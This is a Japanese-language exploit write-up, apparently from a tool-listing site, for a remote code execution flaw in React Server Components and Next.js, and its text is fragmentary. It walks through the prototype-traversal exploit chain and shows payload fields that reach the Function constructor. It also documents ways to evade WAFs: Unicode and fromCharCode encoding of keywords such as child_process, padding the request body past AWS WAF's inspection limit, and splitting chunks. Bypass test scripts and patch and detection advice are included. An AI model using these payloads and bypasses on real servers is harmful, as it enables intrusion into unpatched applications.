エクスプロイトの流れ```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

自己参照Thenable (then)

then: "$1:__proto__:then" は、実際の関数 に解決される自己参照を作成します:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

5. initializeModelChunk(this) は this._response - 攻撃者の偽の _response を使用する:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );

ステージ 1: 外部オブジェクトの自己参照 then がチャンク処理をトリガーする

ステージ 2: Reactがモデルを解決するとき、value を解析し、then: "$B1337" を持つ別のthenableに遭遇する。$B プレフィックスがハンドラをトリガーする:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

Reactの内部コードは、処理中に response._chunks.get() や response._chunks.has() にアクセスすることがあります。空のMapは、これらの呼び出しをエラーなく満たし、脆弱な $B ハンドラーへの実行を可能にします。

脆弱なコードパス

decodeReply() はエントリポイントであり、それ自体は脆弱ではありません。

パストラバーサル (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

$B ハンドラ RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

2. hasOwnProperty による getOutlinedModel() でのチェック - プロトタイプの走査をブロック ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
   root@kitploit:~

3. reviveModel()における__proto__の取り扱い - プロトタイプ汚染を防止する ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
   root@kitploit:~

4. initializeModelChunk() における型チェック - リスナーを検証 ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
   root@kitploit:~

影響とバージョン

影響評価

影響を受けるバージョン

• react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• react-server-dom-turbopack: 同一バージョン
• Next.js: 15.x, 16.x（パッチ前）、14.3.0-canary.77+ 以降のcanary

修正されたバージョン

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

シグネチャベースのWAF検出が失敗する理由

このセクションでは、従来のパターンマッチング型WAFルールがこのエクスプロイトを確実に検出できない理由を説明します。これらの制限を理解することは、防御体制を評価するセキュリティチームにとって不可欠です。

根本的な問題：複数レイヤーでのエンコード

エクスプロイトペイロードは複数のパーサーを通過し、それぞれが異なるエンコードをサポートしています。生のHTTPバイトを検査するWAFはエンコードされた文字列を見るのに対し、サーバーは処理前にデコードします。

これにより根本的な不一致が生じます。WAFはエンコードされたバイトを見るのに対し、アプリケーションはデコードされた文字列を見ることになります。

シグネチャが一致すべきもの

単純なWAFは constructor, __proto__, resolved_model, child_process などのパターンを探すかもしれません。しかし、JSONでは任意の文字に対してUnicodeエスケープが許可されています。

ペイロード内のJavaScriptコードにはさらに多くのエンコードオプションがあります。

検出ギャップ

すべてのエンコード手法を組み合わせると：

• JSONキーはUnicodeシーケンスに（例：then → \u0074\u0068\u0065\u006e）
• JS識別子は数値配列に（例：child_process → S(99,104,105,108,100,95,...)）
• 生のペイロードには認識可能なキーワードが全く含まれない

HTTPボディをスキャンするWAFには、エスケープシーケンスと数字しか見えません。従来の攻撃シグネチャに一致するものはありません。

防御側にとっての重要性

1. シグネチャベースのルールは誤った安心感を与える — ペイロードは検出されずにサーバーに到達する
2. エンコードは無限である — すべての文字を異なる方法でエスケープできるため、正規表現ですべてのバリエーションを列挙することは不可能
3. 攻撃はプロトコル準拠である — すべてのエンコードは仕様上、有効なJSON/JavaScriptである

ヘッダー検出の考慮事項

Next-Action ヘッダーはサーバーアクションリクエストを識別します。ヘッダー名はUnicodeエンコードできませんが（RFC 7230ではASCIIトークンが必要）、WAFとサーバー間の正規化の違いにより検出の隙が生じます。

防御推奨事項

パッチ適用のみが信頼できる緩和策です。 エンコードの柔軟性のため、WAFルールでこの攻撃を包括的にブロックすることはできません。

必要なバージョン:

• React: 19.0.1+, 19.1.2+, 19.2.1+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

パッチ適用が遅れる場合は、以下を検討してください:

1. マッチング前にデコードする — WAFはパターンマッチングの前に \uXXXX, \xXX をデコードし、fromCharCode() 呼び出しを正規化する必要がある
2. 構造的検出 — _response, _prefix, _chunks を含むJSON構造や循環参照 ($@0) を探す
3. ヘッダーの正規化 — next-action ヘッダーを大文字小文字を区別せず、空白をトリミングしてマッチングする
4. サーバーアクションをブロックする — サーバーアクションを使用していない場合は、Next-Action ヘッダーが付いたリクエストを完全にブロックする
5. ランタイム監視 — 動的な文字列引数での Function() 呼び出しにアラートを出す

重要なポイント: この種の攻撃に対しては、パターンマッチングだけでは失敗します。エンコードの表面が大きすぎて列挙できません。

AWS WAFボディ検査制限のバイパス

包括的なWAFルールがあっても、AWS WAFにはボディ検査サイズ制限があり、悪用される可能性があります。このセクションでは、過大なペイロードを使用したテスト済みのバイパス手法を文書化します。

ボディ検査制限

AWS WAFはリクエストボディの一部のみを検査します。

OversizeHandling の問題

WAFルールは、検査制限を超えるリクエストの処理方法を指定します。

WAFルールが OversizeHandling: CONTINUE （一般的なデフォルト）を使用している場合、バイパスは簡単です。

バイパス戦略: ペイロード前のパディング

エクスプロイトペイロードの前に無害なパディングデータを配置して、検査ウィンドウの外に出すようにします。``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

チャンク間で分割されたパターン:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

WAFの動作に関する考慮事項

注意: AWS WAFは通常、検査前にチャンク化されたボディを再構築します。ただし、環境ごとに構成が異なるため、各環境で確認する必要があります。

緩和策の推奨事項

1. OversizeHandlingをMATCHに変更 ```json "OversizeHandling": "MATCH"
   root@kitploit:~

これは、ルール条件が満たされたときに検査制限を超えるリクエストをブロックします。

2. ボディ検査制限の引き上げ (CloudFront/API Gateway のみ) Web ACL 設定で最大 64KB まで設定できますが、これではバイパスを完全に防げません。

3. サイズベースのブロックルールを追加 妥当なサイズ（例：10KB）を超える Next-Action ヘッダーを持つ POST リクエストをブロックします。

4. アプリケーションにパッチを適用 - 唯一の完全な解決策です。

Test Scripts

含まれているテストスクリプトを参照してください：

• test-simple.cjs - ベースラインの非チャンクペイロードテスト
• test-oversize.cjs - パディングサイズを0〜128KBでテスト
• test-chunked-v2.cjs - チャンク転送エンコーディングと$@分割
• test-chunked-bypass.cjs - 複数のチャンク戦略（5バイト、10バイト、パターン分割）

使用方法:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

With payload "$1:constructor:constructor":

1. chunk[1]["constructor"] → [Function: Object]
2. Object["constructor"] → [Function: Function]

試したがブロックされたパス

Function を入手しましたが、RCEを達成するには制御された引数でそれを呼び出す必要があります。以下のパスは失敗しました:

1. Thenable Path (ブロック済み)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

3. イテレータパス (ブロック済み)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute